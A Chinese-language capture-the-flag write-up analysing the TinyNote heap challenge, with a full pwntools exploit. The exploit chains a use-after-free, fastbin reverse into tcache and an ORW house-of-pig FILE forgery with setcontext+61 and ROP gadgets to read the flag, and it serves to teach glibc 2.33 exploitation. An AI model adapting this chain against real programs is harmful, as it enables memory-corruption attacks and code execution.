一
前言
初学house of pig,查看了几个有关分析TinyNote的文章,感觉具体讲述的exp并不是很详细,本篇文章希望通过详细的解释,更好的理解如果利用fastbin reverse into tcache来实现house of pig最终实现orw读取flag。
二
前置知识
对于TinyNote的利用主要是需要掌握libc 2.32以后对于fastbin reverse into tcache的应用,以及对于house of pig的利用。这里简单阐述一下对应的利用方式在本篇文章需要注意的地方。
2.1fastbin reverse into tcache
对于libc 2.32的fastbin reverse into tcache和之前变化的主要区别在于,tcache的fd已经进行了加密的操作,通过chunk的地址>>12去和fd值异或来实现对于fd进行加密,因此为了实现任意地址写一个堆地址,我们需要考虑到加密的因素。
2.2house of pig
相比较于同名题目house of pig,这个题目需要利用的house of pig进行了沙盒过滤,因此我们只能利用orw进行读取flag,并且利用了新版本的setcontext + 61来实现srop,并且利用了pcop这个gadget,具体的内容如下:
mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
三
TinyNote的脚本解析
3.1漏洞分析
对于TinyNote这个题目首先查看一下他的题目代码,功能十分简单:
只有add, edit, show, delete四个功能,并且存在的漏洞也十分简单。
对于add,他是固定了只能分配0x20大小的一个chunk,并且需要通过检查实现和堆开始的地址存储在同一个页中,但是list只能存储三个chunk的地址。
对于edit和show为正常的功能,也限制了edit的大小。
对于delete也是存在uaf,由于所有的功能里面都没有对于list进行检查,所以可以任意利用uaf漏洞来进行利用。
3.2漏洞利用
3.2.1获取heap的基地址
通过上述对于题目的代码分析我们可以知道因为这个题可以随意利用uaf漏洞,所以我们可以很轻易的获取到堆的初始地址:
add(0)
add(1)
delete(0)
show(0)
io.recvuntil(b'Content:')
heap_base = u64(io.recv(5).ljust(8, b'x00')) << 12
这里只需要申请一个0x20大小的chunk并且将其free掉,由于对于fd进行了加密,所以当前fd中存储的其实就是当前chunk的地址左移12位的结果,我们只需要恢复右移12位即可,这样就可以获得对应的heap的基地址。
3.2.2获取libc的基地址
对于该题限制了对于malloc的大小,所以我们如果需要泄露libc的基地址,就需要通过构造,形成一个unsortedbin的一个chunk,由于show函数没有检查是否chunk被删除,导致可以获得libc的基地址:
heap = heap_base + 0x2b0
xor = heap_base >> 12
delete(1)
edit(1, p64(xor ^ heap))
add(1)
add(0)
edit(0, p64(0) + p64(0x421))
for i in range(33):
add(0)
delete(1)
show(1)
io.recvuntil(b'Content:')
libcbase = u64(io.recv(6).ljust(8, b'x00')) - (0x7f71d9fd2c00 - 0x7f71d9df2000)
这里其实就是利用了tcache在get时检查的缺陷,我们首先通过对于fd的加密,讲之前分配好的chunk1的fd指向chunk1的size域,这样就可以修改对应的size位0x421,之后free就可以将其放入到unsorted bin中,并且泄露出libc的地址,但是需要注意的是,由于需要让top chunk在0x420的chunk以下,所以需要分配33个0x20大小的chunk,否则就会导致程序报错。
删除之后对chunk1进行删除并且泄露对应的libc基地址。
3.2.3通过fastbin reverse into tcache来实现修改stderr的chain域
由于本题的stderr并没有在bss段上,所以没办法像house of pig那样直接进行修改,所以这里主要是利用了fastbin reverse into tcache,讲chain域进行修改,让他指向可控制的chunk上,在这个可控制的地方伪造file的结构,最终实现house of pig的攻击。
对于第一段代码,他的主要作用是讲list[0]中存储heap_base + 0x10这个指针,方便之后通过这里这个指针修改tcache bin结构中指向0x20大小的chunk的个数。
add(0)
add(1)
delete(0)
delete(1)
heap = heap_base + 0x10
edit(1, p64(xor ^ heap))
add(0)
add(0)
#edit(0, p64(0))
对于第二段代码主要是填满tcache中的chunk,修改了chunk1中fd指向,让他指向heap_base + 0x90,这里的作用是使得tcache bin中的结构链表被list[1]进行控制,之后利用循环不断的进行添加,添加七个tcache的bin。
add(1)
add(2)
delete(1)
edit(0, p64(2))
edit(1, p64(xor ^ heap_base + 0x90))
add(1)
add(1)
for i in range(7):
edit(0, p64(0))
add(2)
edit(0, p64(i))
delete(2)
执行完代码最终的效果如下:
对于第三段代码主要作用是由于本题并没有calloc函数,因此通过手动的把tcache中的bin转移到fastbin中,通过利用之前的list[0]的指针讲对应0x20大小的tcache bin始终为7,并且将最先进入fastbin的fd指针指向io_list_all + 0x70这个位置。
edit(0, p64(0))
add(2)
edit(0, p64(7))
delete(2)
edit(2, p64(xor ^ (io_list_all + 0x70)))
for i in range(6):
add(2)
edit(0, p64(7))
delete(2)
edit(0, p64(6-i))
edit(0, p64(0))
#edit(1, p64(io_list_all >> 12))
add(2)
这里解释以下为什么要将指针指向io_list_all + 0x70,这是由于fastbin reverse into tcache可以使得fd指针指向的地方写入加密后的fd,之后fd + 8位置将会指向存储tcache bin结构的链表起始的地方,在也就是heap_base + 0x10这里,这样我们就可以让stderr的chain指向heap_base + 0x10,之后就可以在这里伪造file的结构了。
这里可以看到通过最后add(2)已经触发了fastbin reverse into tcache,并且将_IO_2_1_stderr + 0x60的chunk链入了tcache的链表中,我们观察对应_IO_2_1_stderr的结构,可以看到已经劫持了对应的chain的值。
这里可以看见_IO_2_1_stderr + 0x68已经指向了0x00005648af6d9010,这里也就是heap的起始地址。
3.2.4伪造file结构,实现house of pig的攻击
这里开始就是对于本题的关键,由于之前的攻击,已经使得stderr的chain指向了heap起始的chunk,因此我们只需要在这里伪造file的结构即可,这里需要注意的是,起始的地址为heap_base + 0x10,所以对应的偏移也需要加这部分,这里先放一下对应伪造的结构,之后会详细简述为什么这么构造。
def change(addr,context):
edit(0,p64(1))
edit(1,p64(addr))
add(2)
edit(2,context)
length=0x230
start = heap_base + 0x600
end = start + ((length) - 100)//2
change(heap_base + 0x30,p64(1)+p64(0xffffffffffff))
change(heap_base + 0x40,p64(0)+p64(start))
change(heap_base + 0x50,p64(end))
change(heap_base + 0xc0,p64(0))
change(heap_base + 0xe0,p64(0)+p64(io_str_jumps))
change(heap_base + 0x1a0,p64(free_hook))
change(start,p64(pcop)+p64(heap_base + 0x700))
change(heap_base + 0x720,p64(setcontext+61))
change(heap_base + 0x7a0,p64(heap_base + 0x800)+p64(rdi_ret))
change(heap_base + 0x7c0,'flag'.ljust(0x10,'x00'))
change(heap_base + 0x800,p64(heap_base + 0x7c0)+p64(rsi_ret))
change(heap_base + 0x810,p64(0)+p64(open))
change(heap_base + 0x820,p64(rdi_ret)+p64(3))
change(heap_base + 0x830,p64(rsi_ret)+p64(heap_base + 0x900))
change(heap_base + 0x840,p64(rdx_ret)+p64(0x50))
change(heap_base + 0x850,p64(read)+p64(rdi_ret))
change(heap_base + 0x860,p64(1)+p64(write))
edit(1,p64(free_hook))
edit(0,p64(1))
add(2)
这里首先定义了change函数,由于之前的攻击我们可以知道,list[1]中指针可以修改0x20 大小的tcache链表指针指向的chunk,所以我们可以首先修改这部分指针,再次申请时就可以实现任意地址写(注意只能在同一页中)。
之后就是对于house of pig的进行构造,首先是伪造file的结构,这里就是根据对应的要求进行构造即可,需要注意的就是偏移需要增加0x10。
1.伪造_IO_write_base (0x20 + 0x10)为1, _IO_write_ptr (0x28 + 0x10)为0xFFFF_FFFF_FFFF。
2.伪造_IO_write_end (0x30 + 0x10)为0, 并且伪造_IO_buf_base (0x38 + 0x10)为start地址,这个地址主要存放的就是gadget的地址,因为house of pig主要攻击的手段就是将old_buf memcpy到 new_buf,这里old_buf就是_IO_buf_base指向的地址,这里将他指向存放pcop的地址,这样之后memcpy之后会把pcop存放的__free_hook中。
3.伪造_IO_buf_end (0x40 + 0x10)为end,这里面end是用来控制malloc new_buf时chunk的大小的,这里期望这个chunk的大小为(0x230 + 0x10)所以需要让end为start + ((length) – 100)//2,这样(end – start) * 2 + 100可以为0x230,这样就能申请到0x240的chunk了。
4.伪造_mode(0xB0 + 0x10)为0。
5.伪造vtable(0xd8 + 0x10)为_IO_str_jumps。
这里就完成了对于伪造的file的构造,之后由于house of pig需要malloc一个chunk,并且上述在伪造的过程中已经规定这个chunk的大小是0x240了,所以我们需要伪造以下heap_base + 0x1a0这里的内容,将他指向__free_hook的地址,这里是存放0x240大小的链表头部,并且之前在构造file的时候,修改了heap_base + 0x50这里的内容为end,所以在0x240链表中的数目也很大,这样可以导致house of pig在malloc的时候会申请0x240大小的__free_hook的chunk。
之后就是伪造gadget了,因为_IO_buf_base存放的地址就是之后覆盖到__free_hook的内容,所以将其覆盖为pcop的gadget,对应的内容如下:
mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
这里分析以下,因为在house of pig在free时,传入的参数为old_buf,也就是_IO_buf_base指向的地址,所以rdi指向的地址也是gadget这段内容,所以我们把[rdi + 8]这覆盖为heap_base + 0x700(也就是heap_base + 0x608),这样就可以控制rdx指向heap_base + 0x700,之后就是构造这部分的数据。
之后这段gadget调用了[rdx + 0x20]这个地方,所以我们为了orw所以将heap_base + 0x720覆盖为setcontext+61,之后根据对应srop的内容,把rsp(rdx + 0xa0)赋值为heap_base + 0x800,把rcx赋值为rdi_ret,这里由于push rcx,所以最后rsp指向的时rdi_ret的内容。
之后伪造heap_base + 0x800的orw,这里由于ret之后首先执行pop_rdi_ret,所以首先存储heap_base + 0x7c0,也就是flag字符串的地方(这里修改为flag的文件名),之后就是正常的进行open,read,write三个函数的调用,实现读取flag文件中的内容。
最后为了触发整个house of pig的攻击,我们可以add一个不在同一个页的chunk,这样就会触发exit从而实现house of pig的malloc,memcpy,free的操作。最终读取flag,这里由于是自己复现,所以将flag的值设置为success,最终效果如下:
可以看到已经出现的flag中的内容。
3.2.5通过debug更好的了解整个流程
为了更好的理解整个攻击,我们通过调试来重新复现一下,首先利用了_IO_str_overflow函数,所以我们在这里打一个断点。
之后步进,找到malloc的代码。
这里可以看到和预先中的一样,要malloc一个0x230size的一个chunk,并且观察tcache bin中有对应的chunk,之后继续步入,看一下memcpy的部分。
这里也可以成功看到已经将__free_hook的内容覆盖为pcop的地址了,之后就是进行free函数的调用,并且进入到pcop的gadget。
这里可以看见已经进入到了pcop的gadget并且进行了赋值,最中call的地址也如我们预想中的一样为setcontext + 61,通过一系列的赋值操作,我们观察栈中的数据可以看到,已经布局为orw所需要的gadget的片段了。
之后就是进行一系列的调用,最终就可以实现读出我们需要的flag内容,并且ret之后就开始执行这些gadget。
3.2.5完整的exp
from pwn import *
io = process("./TinyNote")
libc = ELF("./libc-2.33.so")
def add(idx):
io.recvuntil(b'Choice:')
io.sendline(b'1')
io.recvuntil(b'Index:')
io.sendline(str(idx).encode())
def edit(idx, content):
io.recvuntil(b'Choice:')
io.sendline(b'2')
io.recvuntil(b'Index:')
io.sendline(str(idx).encode())
io.recvuntil(b'Content:')
io.send(content)
def show(idx):
io.recvuntil(b'Choice:')
io.sendline(b'3')
io.recvuntil(b'Index:')
io.sendline(str(idx).encode())
def delete(idx):
io.recvuntil(b'Choice:')
io.sendline(b'4')
io.recvuntil(b'Index:')
io.sendline(str(idx).encode())
add(0)
add(1)
delete(0)
show(0)
io.recvuntil(b'Content:')
heap_base = u64(io.recv(5).ljust(8, b'x00')) << 12
heap = heap_base + 0x2b0
xor = heap_base >> 12
delete(1)
edit(1, p64(xor ^ heap))
add(1)
add(0)
edit(0, p64(0) + p64(0x421))
for i in range(33):
add(0)
delete(1)
show(1)
io.recvuntil(b'Content:')
libcbase = u64(io.recv(6).ljust(8, b'x00')) - (0x7f71d9fd2c00 - 0x7f71d9df2000)
io_list_all = libcbase + 0x1e15c0
io_str_jumps = libcbase + (0x7f6b247b0560 - 0x7f6b245ce000)
free_hook = libcbase + libc.sym['__free_hook']
pcop = libcbase + 0x14a0a0
setcontext = libcbase + libc.sym['setcontext']
rdi_ret = libcbase + 0x0000000000028a55
rsi_ret = libcbase + 0x000000000002a4cf
rdx_ret = libcbase + 0x00000000000c7f32
open = libcbase + libc.sym['open']
read = libcbase + libc.sym['read']
write = libcbase + libc.sym['write']
add(0)
add(1)
delete(0)
delete(1)
heap = heap_base + 0x10
edit(1, p64(xor ^ heap))
add(0)
add(0)
#edit(0, p64(0))
add(1)
add(2)
delete(1)
edit(0, p64(2))
edit(1, p64(xor ^ heap_base + 0x90))
add(1)
add(1)
for i in range(7):
edit(0, p64(0))
add(2)
edit(0, p64(i))
delete(2)
edit(0, p64(0))
add(2)
edit(0, p64(7))
delete(2)
edit(2, p64(xor ^ (io_list_all + 0x70)))
for i in range(6):
add(2)
edit(0, p64(7))
delete(2)
edit(0, p64(6-i))
edit(0, p64(0))
#edit(1, p64(io_list_all >> 12))
add(2)
def change(addr,context):
edit(0,p64(1))
edit(1,p64(addr))
add(2)
edit(2,context)
length=0x230
start = heap_base + 0x600
end = start + ((length) - 100)//2
change(heap_base + 0x30,p64(1)+p64(0xffffffffffff))
change(heap_base + 0x40,p64(0)+p64(start))
change(heap_base + 0x50,p64(end))
change(heap_base + 0xc0,p64(0))
change(heap_base + 0xe0,p64(0)+p64(io_str_jumps))
change(heap_base + 0x1a0,p64(free_hook))
change(start,p64(pcop)+p64(heap_base + 0x700))
change(heap_base + 0x720,p64(setcontext+61))
change(heap_base + 0x7a0,p64(heap_base + 0x800)+p64(rdi_ret))
change(heap_base + 0x7c0,'flag'.ljust(0x10,'x00'))
change(heap_base + 0x800,p64(heap_base + 0x7c0)+p64(rsi_ret))
change(heap_base + 0x810,p64(0)+p64(open))
change(heap_base + 0x820,p64(rdi_ret)+p64(3))
change(heap_base + 0x830,p64(rsi_ret)+p64(heap_base + 0x900))
change(heap_base + 0x840,p64(rdx_ret)+p64(0x50))
change(heap_base + 0x850,p64(read)+p64(rdi_ret))
change(heap_base + 0x860,p64(1)+p64(write))
edit(1,p64(free_hook))
edit(0,p64(1))
add(2)
io.interactive()
四
总结
自此就完成了对于整个TinyNote的复现,通过这个题目可以很好的认识到house of pig的利用原理,并且掌握对于orw版的house of pig如何进行构造,对于题解中的file构造以及后面劫持程序执行流的构造都十分巧妙。通过这部分的理解,使得我可以更加清晰的认识到对于新版本的libc下的一些高级利用手法。
看雪ID:a2ure
https://bbs.kanxue.com/user-home-991890.htm
# 往期推荐
2、在Windows平台使用VS2022的MSVC编译LLVM16
3、神挡杀神——揭开世界第一手游保护nProtect的神秘面纱
球分享
球点赞
球在看
原文始发于微信公众号(看雪学苑):2021西湖论剑-TinyNote详细分析